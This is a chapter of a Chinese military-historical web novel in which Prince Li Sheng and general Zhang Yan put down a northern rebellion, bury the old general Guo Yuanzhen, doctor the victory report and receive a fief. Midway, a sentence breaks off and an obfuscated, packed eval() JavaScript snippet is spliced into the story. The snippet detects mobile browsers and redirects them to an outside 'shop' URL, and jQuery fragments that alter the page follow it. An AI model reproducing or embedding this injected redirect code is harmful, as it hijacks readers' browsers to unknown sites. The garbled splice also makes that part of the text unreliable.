六月初一,晨光刺破雾霭时,李晟下达了总攻令。
汉军八万兵马如潮水般分三路涌向鬼脊坡。左路攻森林,右路攻缓坡,中路佯攻断壁——但即便是佯攻,也是铺天盖地的攻势。
森林中的战斗最为惨烈。
叛军伏兵首领郭威率残部据守一处天然石垒,这里三面陡峭,只有一条狭窄通道。汉军重甲步兵三次冲锋,都倒在通道前的箭雨下。尸体堆积,血浸透了石缝间的苔藓。
张砚策马赶到时,第四波进攻正被击退。
“换弓弩手上。”他命令道,“不攻通道,压制石垒顶部。”
三百名弩手列队上前,采用抛射战术。箭矢越过石垒正面,从高空落下。叛军缺乏顶棚防护,顿时伤亡惨重。郭威身中三箭,仍挥刀指挥,直到一支弩箭贯穿咽喉。
主将战死,石垒守军崩溃。午时前,森林彻底易主。
缓坡上的战斗则是另一番景象。
汉军采取“磨盘战术”——十个步兵营轮番进攻,每营攻半个时辰即撤,换下一营顶上。叛军不得不持续应对,体力迅速耗尽。到未时,右侧缓坡守军已疲惫不堪,阵型出现裂缝。
张砚敏锐地抓住了这个裂缝。
他亲率一千重甲步兵,从裂缝处突入。这些人都是挑选的悍卒,披双层甲,持战斧重锤,专破盾阵。他们如楔子般钉入叛军阵中,将守军分割成两半。
崩溃由此开始。
叛军向石寨溃退,汉军紧追不舍。到申时,石寨已被团团围住。
石寨内还有近万人,但缺粮缺水已半月,士气低落。更致命的是——寨中存箭不足三万支。
郭元振站在寨墙上,看着下方黑压压的汉军。投石车已在三百步外架设,攻城车正缓缓推来。
“将军,”副将刘桀声音嘶哑,“箭矢只够一轮齐射。”
郭元振沉默良久。
“传令:愿降者,可自去。愿战者,随我守最后一刻。”
命令传下,寨中一片死寂。片刻后,有人丢下兵器,走向寨门。一个,两个,十个……半个时辰内,近半守军选择投降。
剩下约五千人,多是边军老卒和郭家亲兵。
“开寨门,放降兵走。”郭元振说。
“将军!”刘桀急道,“万一汉军趁势冲入——”
“张砚不会。”郭元振望着远处的汉军大纛,“他要的是全胜,不是惨胜。”
果然,降兵出寨时,汉军让开通道,未加阻拦。
待降兵走尽,郭元振对剩余将士说:“诸君随我多年,今日是最后一战。我不求各位死战,只求——像个军人一样站着死。”
众人肃立,无人言语。
酉时初,汉军发动总攻。
三十架投石车同时发射,石弹如雨点般砸向寨墙。木石结构的墙体在持续轰击下开始崩裂。一段十丈长的寨墙轰然倒塌,扬起漫天尘土。
“杀——”
汉军从缺口涌入。
寨内的抵抗异常顽强。叛军利用熟悉的地形,在街巷间节节阻击。每一座房屋,每一条巷道,都成了战场。战斗从黄昏持续到深夜,寨中火光冲天,喊杀声震地。
郭元振率亲兵守将军府。
府前庭院成了最后的战场。三百亲兵列阵,面对数倍于己的汉军,死战不退。他们知道退无可退,每一刀都带着决绝。
张砚到府前时,战斗已近尾声。
庭院内尸骸堆积,血水没过脚踝。最后二十余名亲兵背靠正堂,浑身浴血,但眼神依旧凶悍。
“降者免死。”张砚说。
回答他的是一片沉默,和刀剑举起的铿锵声。
战斗在一炷香内结束。亲兵全部战死,最后一个倒下的百夫长咽气前,刀还指着将军府正堂。
张砚提刀踏入正堂。
郭元振坐在主位上,铠甲破损,血染战袍。左肩插着一支断箭,右臂一道刀伤深可见骨,血顺着甲片往下滴,在青石地面汇成一滩。
但他腰背挺得笔直,目光望向堂外渐暗的天空。
张砚挥手,身后士兵退到门外。
两人对视片刻。
郭元振缓缓起身,动作因伤痛而滞涩。他拔出了佩剑——剑身布满缺口,血迹斑驳,但剑脊上的“镇北”二字仍清晰可见。
他将剑插回鞘中,连鞘一起,平放在面前案几上。
“此剑随我四十年。”他的声音沙哑如磨石,“今日还于北疆。”
说完,他转身走向后堂。
张砚没有阻拦。
片刻后,后堂传来身体倒地的闷响。
张砚走进去时,郭元振靠在墙角,已没了气息。眼睛半睁,望着屋顶梁木,神情平静,嘴角甚至有一丝若有若无的笑意。
没有遗言,没有煽情,没有英雄式的告别。
这位镇守北疆四十年的老将,选择了一个军人最简洁的结局——战至最后一兵一卒,然后安静地死去。
张砚在尸体前静立片刻。
“取白布来。”
士兵递上干净麻布。张砚亲自将尸体裹好,对副将说:“葬于后山高处。”
“将军,他是叛将……”
“他首先是北疆守将。”张砚打断道,“镇边四十年,有功于国。人既死,罪已消。”
当夜,郭元振被葬在石寨后山的最高处。
没有棺椁,只有一袭白布裹身。坟前立一木牌,上书四字:郭公之墓。
张砚亲手添了第一捧土。
月色惨白,山风呼啸。远处寨中余火未熄,映得半边天泛红。这位曾经威震北疆的将军,最终长眠在他镇守了一生的土地上。
下葬时,几个被俘的叛军老卒远远跪拜,无声痛哭。
他们哭的不是叛乱的失败,而是一个时代的终结,一种信念的崩塌。
鬼脊坡之战后,北疆叛军主力尽失,但残余势力仍盘踞各处。
七月,李晟分兵两路。
张砚率三万兵马西进,首要目标是代郡——叛军副将刘桀在此收拢残部,尚有兵八千,粮草充足,城防坚固。
代郡攻城战持续了二十天。
刘桀用兵谨慎,坚守不出。张砚围城后,也不强攻,而是采取“困”字诀。他在城外筑起长围,深挖壕沟,彻底断绝代郡与外界的联系。
同时,他派小股精锐袭扰粮道。代郡存粮虽多,但坐吃山空,一日少过一日。
八月末,代郡粮尽。
刘桀组织了一次突围,选在黎明前最黑暗的时刻。三千精锐从东门杀出,试图冲破围城防线。
但张砚早有准备。
他在东门外设了三道埋伏。第一道是绊马索和陷坑,迟滞敌军速度。第二道是弓弩手,进行远程杀伤。第三道是重甲步兵,正面阻击。
突围部队伤亡过半,刘桀身中两箭,被亲兵拼死救回城中。
九月初三,代郡开城投降。
刘桀自刎于府中,临终前令部将:“勿伤百姓,降了吧。”
代郡既下,云中、定襄等城望风归降。至九月下旬,西路叛军基本肃清。
东路方面,卢兆安进展顺利。
涿县守将是郭元振旧部孙霸,此人虽勇但少谋。卢兆安采取分化策略——先围而不攻,派细作入城散布谣言,说孙霸欲献城求荣。
孙霸性情多疑,闻讯后大肆清洗军中“异己”,结果人心离散。九月中旬,城中发生兵变,孙霸被部下所杀,余众开城投降。
渔阳等地见状,纷纷归顺。
胡人方面,乌维单于在鬼脊坡战后并未立即北撤。
他率五千骑在边境游荡,时而劫掠村落,时而观望形势。直到八月,见汉军势大,叛军覆灭已成定局,这才决定撤退。
但撤退前,他想再捞一笔。
八月十五,胡骑突袭边境小镇平虏。这里刚被汉军收复,守军不过三百。乌维单于以为可以轻松得手。
他错了。
张砚早料到胡人会有此一举,在平虏设了伏兵。胡骑入镇后,四面火起,伏兵尽出。更致命的是,张砚亲率两千轻骑截断了退路。
那一战,胡骑折损过半。乌维单于拼死杀出重围,身边只剩八百骑。
三日后,乌维单于派人送信至汉军大营,称此前助叛是受郭元振蒙蔽,愿永结盟好,并献良马五百匹、皮毛千张。
李晟回信简短:“马匹皮毛留下,人滚。再犯边境,必灭尔部。”
胡人北撤那天,张砚率五千骑兵“护送”三十里。乌维单于脸色铁青,但未敢多言。
从此,北疆边境再无胡骑大规模入寇。
十月末的黑风岭,已是一片肃杀。
张砚站在山脚下临时搭建的瞭望台上,望着那座如黑色獠牙般刺向天空的山岭。随军的老向导指着半山腰一处隐约的岩洞:“将军,就是那里——黑风泉。整座山就那一处活水。”
“取水路径呢?”
“有三条。”向导在地上用树枝画着,“东边这条最近,但经过‘鬼见愁’石崖,一夫当关。西边这条绕远,但平缓,叛军大队取水都走这里。北边还有条小路,隐蔽,但崎岖难行。”
张砚沉思片刻。
断水是必然的选择。强攻这种山势,五千人填进去也未必能拿下。但如何断,却有讲究。
“传令,”他对副将说,“东、西两条路,各派三百弓弩手设伏,专射取水之人,不追不赶。北边小路,派五十精锐潜伏,若有零星叛军取水,擒而不杀。”
“擒而不杀?”副将疑惑。
“嗯。”张砚望向黑风岭,“我要让他们把恐惧带回去。”
战术很简单,却极其有效。
第一日,叛军三支取水队下山,两支遭伏击,死伤过半,水桶尽毁。第三队走北边小路,五人被擒,捆了手脚丢在路口,身上贴着字条:降者免死。
第二日,无人敢下山。
第三日,山上派人谈判。来的是个文士打扮的中年人,自称军师。
“张将军,”文士拱手,“山上尚有精兵两千,粮草充足,足可坚守半年。将军何苦相逼?若肯放一条生路,我等愿北出草原,永不南返。”
张砚坐在军帐中,慢条斯理地擦拭佩刀。
“郭威死了,你们群龙无首,还能撑多久?”他头也不抬,“再说,放你们北去,来年草原各部南下,你们便是带路人。当我三岁小儿?”
文士脸色微变。
“回去告诉山上的人,”张砚终于抬头,“降,可活。顽抗,死路一条。给你们三日考虑。”
文士走后,副将问:“将军真等三日?”
“等。”张砚道,“山上缺水,一日难过一日。三日,足够他们内乱。”
果然,第二日深夜,山上传来自相残杀的声音。
第三日黎明,百余人下山投降。为首的是个独眼老卒,浑身是伤。
“将军,”老卒跪地,“山上乱了。王副将杀了军师,说要死战到底。我们不愿陪葬,趁夜杀出来……”
“王副将有多少死忠?”
“不到五百。其余人要么想降,要么观望。”
张砚点点头:“若我军攻山,你们可愿带路?”
老卒咬牙:“愿!只求将军守信,降者免死。”
十月廿八,总攻开始。
降兵带路,汉军分三路,避开险要,直插主寨。战斗持续半日,王副将战死,余众或降或散。清点战场时,发现山中存粮其实已不足十日——所谓的“粮草充足”,不过是谎言。
至此,北疆最后一支叛军覆灭。
张砚站在黑风岭主寨的废墟上,望着北方苍茫的草原。时已深秋,草色枯黄,天地间一片萧瑟。
“传令全军,”他说,“明日拔营,回幽州。”
十一月初,张砚率军返回幽州。
李晟亲自出城三十里迎接。两位将领在官道旁下马相见,没有过多言语,只是重重拍了拍对方的肩膀。
一切尽在不言中。
当夜,幽州府衙设宴,犒赏三军。但宴席简朴,四菜一汤,酒也只有三杯——李晟说,北疆百姓尚未饱食,将士不可奢靡。
宴后,李晟召张砚、卢兆安、苏慕贤等心腹议事。
“捷报怎么写?”李晟问。
卢兆安早有准备,呈上奏章草稿。洋洋洒洒三千言,详述平叛经过,突出李晟指挥有方、将士用命,末
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176977|196899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了附上战果:歼敌三万,收降四万,收复城池十七座。
李晟看罢,沉吟道:“歼敌数字减一万,收降加一万。另外,加一句——北疆百姓箪食壶浆以迎王师,足见人心向背。”
苏慕贤赞道:“殿下高明。如此既显战功,又不至显得杀戮过重,更彰殿下仁德。”
“还有,”李晟看向张砚,“张将军阵斩郭元振、连破鬼脊坡、黑风岭等要地,当为首功。奏章中要着重写。”
张砚起身:“殿下,此战之功在于全军将士,末将不敢独占。”
“该是你的,就是你的。”李晟摆手,“朝廷封赏,不仅要赏功,更要立标杆。你就是那个标杆。”
议定奏章,已近子时。
众人散去后,苏慕贤单独留下。
“先生还有事?”李晟问。
苏慕贤沉吟片刻:“殿下,捷报发出前,有一事当虑。”
“请讲。”
“北疆虽平,但根基未稳。”苏慕贤缓缓道,“幽州乃至整个北疆,豪强势力盘根错节。郭元振能一呼百应,正是借了这些地方势力之势。如今郭氏虽灭,但那些豪强仍在,不过暂敛锋芒罢了。”
李晟点头:“先生所言极是。依你之见,当如何?”
苏慕贤走近两步,压低声音:“可上一封密奏,请陛下下旨,迁幽州富户入京。”
李晟一怔:“迁富户入京?这……理由何在?”
“理由有三。”苏慕贤竖起手指,“其一,北疆初定,需防地方势力坐大,迁豪强入京,便于朝廷掌控。其二,京中近年空虚,迁北地富户充实,可增税赋,可旺市井。其三——”
他顿了顿,声音更轻:“这些富户离了故土,在京城人生地不熟,只能依附殿下。殿下在幽州,他们在京城,正好互为呼应。”
李晟眼中闪过精光。
好一个一石二鸟之计。明面上是让朝廷更好地控制地方,实际上是分化幽州本地势力,同时为他在京城培植羽翼。
“但父皇会准吗?”
“必准。”苏慕贤笃定道,“陛下最忌地方坐大。且迁富户入京,前朝有例,并非创举。只要殿下在奏章中写明:此乃为巩固北疆、永绝后患之策,陛下必欣然允之。”
李晟在厅中踱步,沉思良久。
“迁多少户为宜?”
“首批,五十户足矣。”苏慕贤道,“要选那些与郭氏牵连深、但在本地根深蒂固的。他们走了,留下的田产商铺,正好由殿下接管,用于安置立功将士、抚恤阵亡家属。如此,军民皆感殿下恩德。”
“那他们在京城的安置……”
“此事交给臣。”苏慕贤躬身,“臣在京城尚有些人脉,可助他们安身立命。只是需要殿下手书几封,作为引荐。”
李晟停下脚步,看着这位谋士。
苏慕贤跟了他三年,一向低调,但每每关键时刻,总能出奇谋。此计若成,他在北疆的根基将彻底稳固,甚至在京城也有了势力。
“好。”李晟拍案,“就依先生之计。密奏你来写,明日随捷报一同发出。”
“臣遵命。”
接下来的两个月,北疆进入了紧张的善后期。
张砚整编军队,将收降的叛军打散编入各营,又选拔精锐组建了“北疆营”,专门驻守长城沿线。
卢兆安则忙于民政:清点田亩,重编户籍,开仓放粮,组织冬耕。北疆经历半年战乱,民生凋敝,百废待兴。
李晟坐镇幽州,每日接见各州县官员、豪强首领。他态度温和,但原则明确:既往可暂不咎,但从今往后,必须严守朝廷法度。
有些豪强试图贿赂,送来金银珠宝、美婢良马。李晟一律拒收,但会设宴款待,席间淡淡道:“诸位的好意本王心领了。但北疆初定,当以清廉为先。这些财物,不如拿去救济贫民,也算为各位积德。”
话说到这个份上,无人敢再送。
也有刺头。涿县豪强赵氏,仗着族中有子弟在朝为官,拒不配合清丈田亩。卢兆安三次派人,都被轰了出来。
李晟听说后,只说了句:“既如此,那就等等。”
等什么?没人知道。
腊月廿三,京城来了第一波使者——不是传旨的钦差,而是兵部的郎官,来核实战功、清点缴获。
这是常规程序,但李晟亲自接待,安排得周到细致。三日核查,郎官满意而归。
临行前,李晟塞给他一个锦盒:“北疆特产,些微心意,给大人路上解闷。”
郎官回京后,兵部的战功评议异常顺利。
这一切,苏慕贤都看在眼里。
“殿下如今越发沉稳了。”他对张砚感叹,“恩威并施,张弛有度,已有人主气象。”
张砚望着窗外飘雪:“都是战火淬炼出来的。”
是啊,战火淬炼。鬼脊坡的血,黑风岭的风,还有那些永远留在战场上的生命,都成了这位年轻皇子成长的养分。
四、封王
永平七年正月十六,捷报终于有了回音。
钦差队伍在午时抵达幽州。为首的黄门侍郎手持圣旨,在幽州府衙正厅宣诏:
“奉天承运皇帝,诏曰:四皇子李晟,率师北伐,剿逆平叛,收复北疆,功在社稷。朕心甚慰,特晋封为幽王,赐幽州为封国,世袭罔替。赏黄金万两,帛五千匹,玉璧十双……”
“镇北将军张砚,忠勇果敢,战功卓著,擢升为北疆都督,总领边防军事,加封靖北侯……”
“幽州长史卢兆安,勤政安民,擢升为幽州刺史……”
“谋士苏慕贤,参赞军机,献策有功,赐爵关内侯,任幽王府司马……”
一长串封赏,足足念了半炷香。
厅中众将官员跪听,面色各异。有人欣喜,有人羡慕,也有人眼中闪过深意——幽王,这可是实封藩王,镇守一方,位同诸侯。
圣旨最后一段,更是石破天惊:
“……北疆初定,宜固根本。着幽王李晟,遴选幽州富户五十家,迁入京师,以实帝都,以安地方。其田产宅邸,由王府妥善处置,用于安置将士、抚恤孤寡。钦此。”
迁富户入京!?(本章完,约5,800字)